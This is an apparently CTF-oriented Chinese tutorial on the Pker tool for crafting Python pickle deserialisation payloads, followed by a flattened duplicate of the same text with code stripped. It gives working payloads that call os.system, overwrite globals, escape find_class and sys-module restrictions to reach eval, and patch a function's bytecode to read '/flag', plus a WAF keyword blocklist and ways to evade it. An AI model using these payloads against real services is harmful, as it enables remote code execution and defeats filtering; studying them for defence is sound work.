探究Pker对opcode字节码的利用
字数 1823 2025-08-22 12:23:19

Pker工具对Python pickle opcode的利用详解

1. 前言与基本概念

1.1 pickle序列化基础

Python的pickle模块使用操作码(opcode)来定义序列化过程中的指令和格式。操作码是表示序列化操作的指令,以字节形式存储在pickle数据流中,每个操作码对应一个Python对象类型或序列化操作。

1.2 Pker工具简介

Pker是一个用于生成pickle操作码(opcode)的工具,主要功能包括:

  • 简化操作码编写和调试
  • 方便构造pickle二进制流
  • 避免手动编写每个操作码

2. Pker核心功能与操作码转换

2.1 核心函数

Pker通过三个特殊函数操作Python对象:

  1. GLOBAL (对应opcode: b'c')

    • 获取module下的全局对象
    • 语法: GLOBAL('module', 'instance')
    • 示例: GLOBAL('os', 'system')
  2. INST (对应opcode: b'i')

    • 建立并入栈一个对象(可执行函数)
    • 语法: INST('module', 'callable', 'para')
    • 示例: INST('os', 'system', 'ls')
  3. OBJ (对应opcode: b'o')

    • 建立并入栈一个对象(第一个参数为callable)
    • 语法: OBJ(callable, para)
    • 示例: OBJ(GLOBAL('os', 'system'), 'ls')

2.2 其他重要操作码

  • b'R': 使用参数调用函数(先入栈函数,再入栈参数并调用)
  • b's': 更新列表或字典的值(如li[0]=321)
  • b'b': 对象属性设置(如xx.attr=123)
  • b'0': 出栈(作为pickle.loads的返回值)

3. Pker使用限制

3.1 禁止的操作

不能直接通过索引或属性访问获取值:

value = obj.attribute  # 不支持
value = my_dict[key]   # 不支持

3.2 允许的操作

  1. 使用函数获取值:
value = getattr(obj, 'attribute')
value = my_dict.get(key)
  1. 赋值操作不受限制:
setattr(obj, 'attribute', new_value)
my_dict[key] = new_value

4. Pker实战应用

4.1 命令执行方法

4.1.1 b'R'调用机制

s = 'whoami'
system = GLOBAL('os', 'system')
system(s)  # b'R'调用
return

4.1.2 b'i'调用机制

INST('os', 'system', 'whoami')

4.1.3 b'c'b'o'调用机制

OBJ(GLOBAL('os', 'system'), 'whoami')

4.1.4 多参数调用

INST('[module]', '[callable]', par0, par1...)
OBJ(GLOBAL('[module]', '[callable]'), par0, par1...)

4.2 实例化对象

4.2.1 直接实例化

animal = INST('__main__', 'Animal', '1', '2')
return animal

animal = OBJ(GLOBAL('__main__', 'Animal'), '1', '2')
return animal

4.2.2 先实例化后赋值

animal = INST('__main__', 'Animal')
animal.name = '1'
animal.category = '2'
return animal

4.3 全局变量覆盖

4.3.1 覆盖执行文件变量

secret = GLOBAL('__main__', 'secret')
secret.name = '1'
secret.category = '2'

4.3.2 覆盖模块变量

game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

5. 绕过限制的技巧

5.1 绕过builtins限制

find_class限制只允许安全builtins时:

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
glo_dic = GLOBAL('builtins', 'globals')()
builtins = dict_get(glo_dic, 'builtins')
eval = getattr(builtins, 'eval')
eval('print("123")')
return

5.2 绕过sys模块限制

当只允许sys模块且禁止子模块时:

modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
modules_get = GLOBAL('sys', 'get')
os = modules_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return

6. 高级利用技巧:修改字节码

6.1 修改函数字节码常量

通过修改co_consts改变函数行为:

getattr = GLOBAL('builtins', 'getattr')
src = GLOBAL('__main__', 'src')
setattr = GLOBAL('builtins', 'setattr')
codetype = GLOBAL('types', 'CodeType')

g2 = getattr(src, "__code__")
g3 = getattr(g2, "co_argcount")
# 获取其他必要属性...
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))
g19 = codetype(g3, g4, g5, g6, g7, g8, g9, g10, g11, g12, g13, g14, g15, g16, g17, g18)
setattr(src, "__code__", g19)
return

6.2 CodeType参数说明

types.CodeType构造函数参数:

  1. co_argcount: 参数数量
  2. co_posonlyargcount: 仅位置参数数量
  3. co_kwonlyargcount: 仅关键字参数数量
  4. co_nlocals: 局部变量数量
  5. co_stacksize: 所需堆栈大小
  6. co_flags: 标志位
  7. co_code: 字节码指令
  8. co_consts: 字节码使用的常量元组(关键修改点)
  9. co_names: 使用的名称元组
  10. co_varnames: 局部变量名元组
  11. co_filename: 文件名
  12. co_name: 函数名
  13. co_firstlineno: 第一行行号
  14. co_lnotab: 行号表
  15. co_freevars: 自由变量元组
  16. co_cellvars: 单元变量元组

7. 防御与绕过WAF

7.1 常见WAF检测点

WAF通常会检测以下关键词:

{"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 
 'template', 'render', '\\', 'compile', 'requests', 'exit', 'pickle', 
 "class", "mro", "flask", "sys", "base", "init", "config", "session"}

7.2 绕过技巧

  1. 使用间接引用(如通过sys.modules获取os)
  2. 使用字符串拼接
  3. 利用属性访问而非直接引用
  4. 修改字节码而非直接调用危险函数

8. 总结

Pker工具通过抽象pickle操作码,提供了更便捷的方式来构造pickle payload。关键点包括:

  1. 理解GLOBAL、INST、OBJ三种核心操作
  2. 掌握操作码与Python代码的对应关系
  3. 熟悉绕过各种限制的技巧
  4. 了解高级的字节码修改技术
  5. 掌握WAF绕过方法

通过灵活组合这些技术,可以实现从简单的命令执行到复杂的对象操作等多种攻击场景。

Pker工具对Python pickle opcode的利用详解 1. 前言与基本概念 1.1 pickle序列化基础 Python的pickle模块使用操作码(opcode)来定义序列化过程中的指令和格式。操作码是表示序列化操作的指令,以字节形式存储在pickle数据流中,每个操作码对应一个Python对象类型或序列化操作。 1.2 Pker工具简介 Pker是一个用于生成pickle操作码(opcode)的工具,主要功能包括: 简化操作码编写和调试 方便构造pickle二进制流 避免手动编写每个操作码 2. Pker核心功能与操作码转换 2.1 核心函数 Pker通过三个特殊函数操作Python对象: GLOBAL (对应opcode: b'c' ) 获取module下的全局对象 语法: GLOBAL('module', 'instance') 示例: GLOBAL('os', 'system') INST (对应opcode: b'i' ) 建立并入栈一个对象(可执行函数) 语法: INST('module', 'callable', 'para') 示例: INST('os', 'system', 'ls') OBJ (对应opcode: b'o' ) 建立并入栈一个对象(第一个参数为callable) 语法: OBJ(callable, para) 示例: OBJ(GLOBAL('os', 'system'), 'ls') 2.2 其他重要操作码 b'R' : 使用参数调用函数(先入栈函数,再入栈参数并调用) b's' : 更新列表或字典的值(如 li[0]=321 ) b'b' : 对象属性设置(如 xx.attr=123 ) b'0' : 出栈(作为pickle.loads的返回值) 3. Pker使用限制 3.1 禁止的操作 不能直接通过索引或属性访问获取值: 3.2 允许的操作 使用函数获取值: 赋值操作不受限制: 4. Pker实战应用 4.1 命令执行方法 4.1.1 b'R' 调用机制 4.1.2 b'i' 调用机制 4.1.3 b'c' 和 b'o' 调用机制 4.1.4 多参数调用 4.2 实例化对象 4.2.1 直接实例化 或 4.2.2 先实例化后赋值 4.3 全局变量覆盖 4.3.1 覆盖执行文件变量 4.3.2 覆盖模块变量 5. 绕过限制的技巧 5.1 绕过builtins限制 当 find_class 限制只允许安全builtins时: 5.2 绕过sys模块限制 当只允许sys模块且禁止子模块时: 6. 高级利用技巧:修改字节码 6.1 修改函数字节码常量 通过修改 co_consts 改变函数行为: 6.2 CodeType参数说明 types.CodeType 构造函数参数: co_ argcount: 参数数量 co_ posonlyargcount: 仅位置参数数量 co_ kwonlyargcount: 仅关键字参数数量 co_ nlocals: 局部变量数量 co_ stacksize: 所需堆栈大小 co_ flags: 标志位 co_ code: 字节码指令 co_ consts: 字节码使用的常量元组(关键修改点) co_ names: 使用的名称元组 co_ varnames: 局部变量名元组 co_ filename: 文件名 co_ name: 函数名 co_ firstlineno: 第一行行号 co_ lnotab: 行号表 co_ freevars: 自由变量元组 co_ cellvars: 单元变量元组 7. 防御与绕过WAF 7.1 常见WAF检测点 WAF通常会检测以下关键词: 7.2 绕过技巧 使用间接引用(如通过sys.modules获取os) 使用字符串拼接 利用属性访问而非直接引用 修改字节码而非直接调用危险函数 8. 总结 Pker工具通过抽象pickle操作码,提供了更便捷的方式来构造pickle payload。关键点包括: 理解GLOBAL、INST、OBJ三种核心操作 掌握操作码与Python代码的对应关系 熟悉绕过各种限制的技巧 了解高级的字节码修改技术 掌握WAF绕过方法 通过灵活组合这些技术,可以实现从简单的命令执行到复杂的对象操作等多种攻击场景。